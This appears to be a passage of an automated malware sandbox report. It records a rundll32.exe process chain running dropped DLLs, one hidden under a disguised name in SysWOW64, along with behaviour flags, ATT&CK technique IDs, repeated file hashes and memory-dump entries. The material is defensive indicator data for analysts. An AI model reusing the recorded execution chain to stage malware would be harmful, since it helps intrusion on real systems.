C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll AnyString
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1092

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll",#1
5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Khltpulo\agfonve.eop",NNolGpQ
6⤵
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Khltpulo\agfonve.eop",#1
7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1892

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
memory/684-5-0x0000000000000000-mapping.dmp

Download
memory/896-35-0x0000000000000000-mapping.dmp

Download
memory/1088-16-0x000000001ADD0000-0x000000001ADD1000-memory.dmp

Filesize
4KB

Download
memory/1088-14-0x0000000002320000-0x0000000002321000-memory.dmp

Filesize
4KB

Download
memory/1088-15-0x000000001AC60000-0x000000001AC61000-memory.dmp

Filesize
4KB

Download
memory/1088-13-0x0000000002550000-0x0000000002551000-memory.dmp

Filesize
4KB

Download
memory/1088-12-0x000000001AEA4000-0x000000001AEA6000-memory.dmp

Filesize
8KB

Download
memory/1088-7-0x000007FEFB541000-0x000007FEFB543000-memory.dmp

Filesize
8KB

Download
memory/1088-11-0x000000001AEA0000-0x000000001AEA2000-memory.dmp

Filesize
8KB

Download
memory/1088-8-0x000007FEF4CF0000-0x000007FEF56DC000-memory.dmp

Filesize
9.9MB

Download
memory/1088-6-0x0000000000000000-mapping.dmp

Download
memory/1088-9-0x00000000022D0000-0x00000000022D1000-memory.dmp

Filesize
4KB

Download
memory/1088-10-0x000000001AF20000-0x000000001AF21000-memory.dmp

Filesize
4KB

Download
memory/1092-20-0x00000000750C1000-0x00000000750C3000-memory.dmp

Filesize
8KB

Download
memory/1092-19-0x0000000000000000-mapping.dmp

Download
memory/1092-31-0x00000000001E0000-0x0000000000201000-memory.dmp

Filesize
132KB

Download
memory/1092-32-0x0000000010000000-0x0000000010024000-memory.dmp

Filesize
144KB

Download
memory/1652-43-0x000007FEF5BC0000-0x000007FEF5E3A000-memory.dmp

Filesize
2.5MB

Download
memory/1744-25-0x0000000000000000-mapping.dmp

Download
memory/1892-37-0x0000000000000000-mapping.dmp

Download
memory/1928-17-0x0000000000000000-mapping.dmp

Download
memory/1932-2-0x0000000071EA1000-0x0000000071EA4000-memory.dmp

Filesize
12KB

Download
memory/1932-3-0x000000006F921000-0x000000006F923000-memory.dmp

Filesize
8KB

Download
memory/1932-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download